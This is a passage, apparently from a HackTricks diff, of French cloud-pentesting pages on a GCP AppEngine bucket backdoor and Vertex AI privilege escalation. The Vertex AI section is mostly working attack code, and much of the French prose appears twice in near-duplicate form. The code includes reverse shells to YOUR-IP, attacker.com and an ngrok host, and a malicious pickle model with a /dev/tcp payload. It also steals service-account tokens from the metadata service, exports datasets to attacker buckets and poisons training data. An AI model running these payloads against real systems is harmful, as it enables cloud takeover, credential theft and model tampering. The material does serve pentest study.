Les versions d'AppEngine génèrent des données à l'intérieur d'un bucket avec le format de nom : `staging.<project-id>.appspot.com`. À l'intérieur de ce bucket, il est possible de trouver un dossier appelé `ae` qui contiendra un dossier par version de l'application AppEngine et à l'intérieur de ces dossiers, il sera possible de trouver le fichier `manifest.json`. Ce fichier contient un json avec tous les fichiers qui doivent être utilisés pour créer la version spécifique. De plus, il est possible de trouver les **vrais noms des fichiers, l'URL vers eux à l'intérieur du bucket GCP (les fichiers à l'intérieur du bucket ont changé leur nom pour leur hash sha1) et le hash sha1 de chaque fichier.**
|
||||
Les versions AppEngine génèrent des données dans un bucket ayant pour nom le format : `staging.<project-id>.appspot.com`. Dans ce bucket, il est possible de trouver un dossier appelé `ae` qui contiendra un dossier par version de l'application AppEngine et à l'intérieur de ces dossiers on pourra trouver le fichier `manifest.json`. Ce fichier contient un json avec tous les fichiers qui doivent être utilisés pour créer la version spécifique. De plus, il est possible de trouver les **vrais noms des fichiers, l'URL vers eux dans le bucket GCP (les fichiers dans le bucket ont changé de nom pour leur sha1 hash) et le sha1 hash de chaque fichier.**
|
||||
|
||||
_Remarque : il n'est pas possible de pré-prendre ce bucket car les utilisateurs GCP ne sont pas autorisés à générer des buckets utilisant le nom de domaine appspot.com._
|
||||
_Note que ce n'est pas possible de pré-usurper ce bucket parce que les utilisateurs GCP ne sont pas autorisés à créer des buckets utilisant le nom de domaine appspot.com._
|
||||
|
||||
Cependant, avec un accès en lecture et en écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version App Engine en surveillant le bucket et chaque fois qu'un changement est effectué (nouvelle version), modifier la nouvelle version aussi rapidement que possible. De cette manière, le conteneur qui est créé à partir de ce code exécutera le code compromis.
|
||||
Cependant, avec un accès en lecture et écriture sur ce bucket, il est possible d'escalader les privilèges vers le SA attaché à la version App Engine en surveillant le bucket et à chaque fois qu'un changement est effectué (nouvelle version), modifier la nouvelle version aussi rapidement que possible. De cette manière, le container créé à partir de ce code exécutera le code backdoored.
|
||||
|
||||
L'attaque mentionnée peut être réalisée de plusieurs manières différentes, toutes commencent par surveiller le bucket `staging.<project-id>.appspot.com` :
|
||||
L'attaque mentionnée peut être réalisée de nombreuses façons différentes, toutes commencent par surveiller le bucket `staging.<project-id>.appspot.com` :
|
||||
|
||||
- Téléchargez le code complet de la nouvelle version d'AppEngine vers un autre bucket disponible et préparez un **fichier `manifest.json` avec le nouveau nom de bucket et les hashes sha1 de ceux-ci**. Ensuite, lorsqu'une nouvelle version est créée à l'intérieur du bucket, vous devez simplement modifier le fichier `manifest.json` et télécharger le fichier malveillant.
|
||||
- Téléchargez une version modifiée de `requirements.txt` qui utilisera le **code des dépendances malveillantes et mettez à jour le fichier `manifest.json`** avec le nouveau nom de fichier, l'URL et le hash de celui-ci.
|
||||
- Téléchargez un **fichier `main.py` ou `app.yaml` modifié qui exécutera le code malveillant** et mettez à jour le fichier `manifest.json` avec le nouveau nom de fichier, l'URL et le hash de celui-ci.
|
||||
- Téléverser le code complet de la nouvelle version AppEngine dans un bucket différent et disponible et préparer un **`manifest.json` file with the new bucket name and sha1 hashes of them**. Ensuite, lorsque une nouvelle version est créée dans le bucket, il suffit de modifier le fichier `manifest.json` et d'uploader la version malveillante.
|
||||
- Téléverser une version modifiée de `requirements.txt` qui utilisera du **malicious dependencies code** et mettre à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et le hash correspondant.
|
||||
- Téléverser un **`main.py` ou `app.yaml` modifié qui exécutera le code malveillant** et mettre à jour le `manifest.json` avec le nouveau nom de fichier, l'URL et le hash correspondant.
|
||||
|
||||
**Vous pouvez trouver un PoC de cette attaque dans le dépôt :** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stocke les images à l'intérieur des buckets, si vous pouvez **écrire dans ces buckets**, vous pourriez être en mesure de **vous déplacer latéralement vers l'endroit où ces buckets sont exécutés.**
|
||||
- Le bucket utilisé par GCR aura une URL similaire à `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Les sous-domaines de niveau supérieur sont spécifiés [ici](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** stocke les images dans des buckets, si vous pouvez **écrire dans ces buckets** vous pourriez être capable de **move laterally to where those buckets are being run.**
|
||||
- Le bucket utilisé par GCR aura une URL similaire à `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Les sous-domaines de premier niveau sont spécifiés [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Ce service est obsolète, donc cette attaque n'est plus utile. De plus, Artifact Registry, le service qui remplace celui-ci, ne stocke pas les images dans des buckets.
|
||||
> Ce service est déprécié donc cette attaque n'est plus utile. De plus, Artifact Registry, le service qui remplace celui-ci, ne stocke pas les images dans des buckets.
|
||||
|
||||
## **Références**
|
||||
|
||||
|
||||
@@ -0,0 +1,719 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Pour plus d'informations sur Vertex AI, voir :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Avec la permission `aiplatform.customJobs.create` et `iam.serviceAccounts.actAs` sur un compte de service cible, un attaquant peut **exécuter du code arbitraire avec des privilèges élevés**.
|
||||
|
||||
Cela fonctionne en créant un custom training job qui exécute du code contrôlé par l'attaquant (soit un conteneur personnalisé, soit un package Python). En spécifiant un compte de service privilégié via l'option `--service-account`, le job hérite des permissions de ce compte de service. Le job s'exécute sur une infrastructure gérée par Google avec accès au service de métadonnées GCP, permettant l'extraction du token d'accès OAuth du compte de service.
|
||||
|
||||
**Impact** : escalation complète des privilèges vers les permissions du compte de service cible.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un job personnalisé avec reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternative : extraire le token des logs</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Le custom job s'exécutera avec les autorisations du compte de service spécifié. Assurez-vous d'avoir la permission `iam.serviceAccounts.actAs` sur le compte de service cible.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Cette technique permet une élévation de privilèges en téléversant un modèle sur Vertex AI puis en exploitant ce modèle pour exécuter du code avec des privilèges élevés via un déploiement d'endpoint ou un job de batch prediction.
|
||||
|
||||
> [!NOTE]
|
||||
> Pour réaliser cette attaque, il est nécessaire d'avoir un bucket GCS lisible par tous (world readable) ou d'en créer un nouveau pour téléverser les artefacts du modèle.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Téléverser un modèle avec container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Après avoir téléversé le modèle malveillant, un attaquant pourrait attendre qu'une personne utilise le modèle, ou lancer lui‑même le modèle via un endpoint deployment ou un batch prediction job.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Si vous avez les permissions pour créer et déployer des modèles vers des endpoints, ou modifier les politiques IAM des endpoints, vous pouvez exploiter les modèles malveillants téléversés dans le projet pour obtenir une élévation de privilèges. Pour déclencher l'un des modèles malveillants précédemment téléversés via un endpoint, il vous suffit de :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Déployer le modèle malveillant sur un endpoint</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Si vous avez les permissions pour créer des **batch prediction jobs** et les exécuter avec un service account, vous pouvez accéder au metadata service. Le code malveillant s'exécute depuis un **custom prediction container** ou un **malicious model** pendant le processus de batch prediction.
|
||||
|
||||
**Note**: Les batch prediction jobs ne peuvent être créés que via REST API ou Python SDK (pas de support gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Cette attaque nécessite d'abord de téléverser un malicious model (voir la section `aiplatform.models.upload` ci-dessus) ou d'utiliser un custom prediction container contenant votre reverse shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un batch prediction job avec un malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Si vous disposez de la permission **models.export**, vous pouvez exporter les artefacts du modèle vers un bucket GCS que vous contrôlez, ce qui peut permettre d'accéder à des données d'entraînement sensibles ou aux fichiers du modèle.
|
||||
|
||||
> [!NOTE]
|
||||
> Pour réaliser cette attaque, il est nécessaire d'avoir un bucket GCS accessible en lecture et écriture par tous ou d'en créer un nouveau pour y téléverser les artefacts du modèle.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter les artefacts du modèle vers un bucket GCS</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Créer des **ML pipeline jobs** qui exécutent plusieurs étapes avec des containers arbitraires et permettent une privilege escalation via reverse shell access.
|
||||
|
||||
Les pipelines sont particulièrement puissants pour privilege escalation car ils supportent des multi-stage attacks où chaque composant peut utiliser des containers et des configurations différentes.
|
||||
|
||||
> [!NOTE]
|
||||
> Vous avez besoin d'un bucket GCS accessible en écriture par tous pour l'utiliser comme racine du pipeline.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installer le SDK Vertex AI</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un job de pipeline avec un conteneur reverse shell</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilèges élevés via des conteneurs d'entraînement personnalisés.
|
||||
|
||||
Les Hyperparameter tuning jobs permettent d'exécuter plusieurs essais d'entraînement en parallèle, chacun avec des valeurs d'hyperparamètres différentes. En spécifiant un conteneur malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir privilege escalation.
|
||||
|
||||
**Impact** : Full privilege escalation to the target service account's permissions.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un hyperparameter tuning job avec un reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Exporter des **datasets** pour exfiltrate des données d'entraînement qui peuvent contenir des informations sensibles.
|
||||
|
||||
**Remarque** : les opérations sur les datasets nécessitent REST API ou Python SDK (pas de support gcloud CLI pour les datasets).
|
||||
|
||||
Les datasets contiennent souvent les données d'entraînement originales qui peuvent inclure des PII, des données commerciales confidentielles ou d'autres informations sensibles qui ont été utilisées pour entraîner des modèles en production.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter un dataset pour exfiltrate des données d'entraînement</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importer des données malveillantes ou poisoned dans des datasets existants pour **manipuler l'entraînement des modèles et introduire backdoors**.
|
||||
|
||||
**Note** : Les opérations sur les datasets nécessitent REST API ou Python SDK (pas de support gcloud CLI pour les datasets).
|
||||
|
||||
En important des données conçues dans un dataset utilisé pour entraîner des modèles ML, un attaquant peut :
|
||||
- Introduire backdoors dans les modèles (trigger-based misclassification)
|
||||
- Poison les données d'entraînement pour dégrader les performances du modèle
|
||||
- Injecter des données pour provoquer que les modèles leak des informations
|
||||
- Manipuler le comportement du modèle pour des entrées spécifiques
|
||||
|
||||
Cette attaque est particulièrement efficace lorsqu'elle cible des datasets utilisés pour :
|
||||
- Classification d'images (injecter des images mal étiquetées)
|
||||
- Classification de texte (injecter du texte biaisé ou malveillant)
|
||||
- Détection d'objets (manipuler les bounding boxes)
|
||||
- Systèmes de recommandation (injecter de fausses préférences)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer des données poisoned dans un dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**Scénarios d'attaque :**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Classification d'images</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
